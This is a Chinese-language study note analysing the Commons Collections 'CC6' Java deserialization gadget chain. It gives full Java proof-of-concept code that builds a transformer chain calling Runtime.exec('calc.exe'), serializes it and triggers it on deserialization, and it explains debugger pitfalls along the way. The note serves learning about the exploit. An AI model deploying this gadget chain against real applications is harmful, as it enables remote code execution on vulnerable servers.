调试环境:246 11 cb
- jdk 1.7
- Commons Collections 3.1
利用条件:jdk7、8均可用,没有版本限制-
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
CC6.1 Yso后半部分
还是先将chains分割出来,将后半段payload进行调试。
package CC6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
public class cc1 {
public static void main(String[] args){
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"calc.exe"})});
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain); //调用decorate方法进行LazyMap构造方法调用,从而将对象chain赋值给factory
TiedMapEntry tiedmap = new TiedMapEntry(map,123); //分别将map,key进行赋值
tiedmap.hashCode(); //调用hashCode->getValues->lazyMap.get()->this.factorytransform方法
}
}
函数利用链:TiedMapEntry.hashCode->TiedMapEntry.getValues->LazyMap.get->factory.transform后进入几个实现transform接口的函数。
其实这条cc6和cc1大同小异,最终目的都是为了调用实现的transform方法进行命令执行。
依旧使用lazyMap的get方法进行transform接口的调用,只是通过 TiedMapEntry类的hashCode方法进入getValue方法最后再调用lazyMap的get方法(lazyMap继承了Map的接口,相当于子类吧。
为什么调试构造的Gadget没有成功执⾏命令?
我们来反思⼀下,为什么我们构造的Gadget没有成功执⾏命令?
单步调试⼀下,你会发现关键点在LazyMap的get⽅法,下图我画框的部分,就是最后触发命令执⾏的
transform() ,但是这个if语句并没有进⼊,因为 map.containsKey(key) 的结果是true:
- (不调试)在实例化TiedMapEntry类时,TiedMapEntry的构造函数会对map、key进行传参,但是这个参数key最后也被传进了map变量中(为什么这个值会map里面会被放入key?没看到哪里操作了这一步),导致在调用LazyMap.get方法时,不会进入调用transform方法的循环:因为map.containKey(key)==true,但是最后还是完成了计算器的触发?
- 在进入idea调试时,会在实例化TiedMapEntry类对参数进行赋值时,自动调用TiedMapEntry.toString类进行调用getValues再进入到后续的操作中进行弹出计算器,但是执行到最后却没有真正的弹出计算器:因为并没有进入循环。、?
原因:因为Map里面存在key属性,所以不能进入循环
- 然后尝试将map属性的key值移除掉,让其强制进入map.containKey(key)==false循环中,但是map.remove(key:111);并未报错,并未移除成功,也没有调试成功。(但在put->hash->hashcode链可以修改成功
- 先关注一下TiedMapentry.toString方法,在调试器打印TideMapEntry类的数据时,会自动调用getValue()方法,也就是说在我们还没到我们执行命令的点时,调试器已经进入get方法的循环一次了,并且执行计算器弹框后将我们的(key ,value)push给了map变量,导致我们跟进到
map.containsKey(key) == false
时,始终进不去循环,从而只要使用调试器一步一步跟进,就不会进行我们命令执行的那一步。
所以:调试时直接将断点断在if (map.containsKey(key) == false),此时调试器未加载及打印之前的程序,就不会调用toString方法。
那我们一步一步跟进循环的话就会导致如下的问题。
继续调试Yso链前半部分:
上方已经分析到通过调用#TiedMapEntry.hashCode方法能够触发命令执行,就现在就得来分析如何自动调用此函数?
cc6中使用的是HashMap#hash:
这里的k目前还不是我们可控的,所以需要找某个点调用了hash方法,并且传递的参数是我们可控的,这里用到了HashMap#put:
然而这里的key还是不是我们可控的,所以还需要找某个点调用了put方法,并且传递的第一个参数是我们可控的,最后找到了HashSet#readObject:
这里调用了map.put,其中map可以控制为HashMap,而传入的第一个参数e是用readObject取出来的,那么对应的我们就看看writeObject怎么写的:
我们需要控制传入map的keySet返回结果来控制变量。
简化版本:
解决Java⾼版本利⽤问题,实际上就是在找上下⽂中是否还有其他调⽤ LazyMap#get() 的地⽅。
这里用的是P神的简化代码,相对于Yso的优化代码来说更加简洁易于理解。
经过测试1.7可以利用,1.8版本不可用。
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
*/
package CC6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class cc2{
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new
ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class,
Object[].class }, new Object[] { null, new
Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class
},
new String[] { "calc.exe" }),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
// 不再使⽤原CommonsCollections6中的HashSet,直接使⽤HashMap
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue"); //这里将TiedMapentry类型的tme对象放入Map类型的expMap对象中去进行序列化
outerMap.remove("keykey");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
// ==================
// ⽣成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
// 本地测试触发
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
一条不同于Yso工具的链,但是执行命令的地方不一样只不过是触发hashCode的地方不一样。
欲触发LazyMap利⽤链,要找到就是哪⾥调⽤了 TiedMapEntry#hashCode 。 ysoserial中,是利⽤ java.util.HashSet#readObject 到 HashMap#put() 到 HashMap#hash(key) 最后到 TiedMapEntry#hashCode() 。 而p神这条链:从HashMap类的readObject开始,调用HashMap#hash方法 再进入HashMap#hash方法:再通过控制key的值进行TiedMapEntry#hashCode的调用,从而触发整条链,相对而言p神这条件更为简单。
questions==
上方的outerMap.remove(``"keykey"``)``;
如果去掉,则此链无法命令执行,因为map类的put方法也会调用hash函数,自然而然会调用hashCode导致在序列化之前整条链 被调用过了,就会自动给我们的outerMap变量put一个key上去,导致反序列化无法成功(与上个toString的那个问题同理)
参考:
https://paper.seebug.org/1242/#_21
P-Java安全漫谈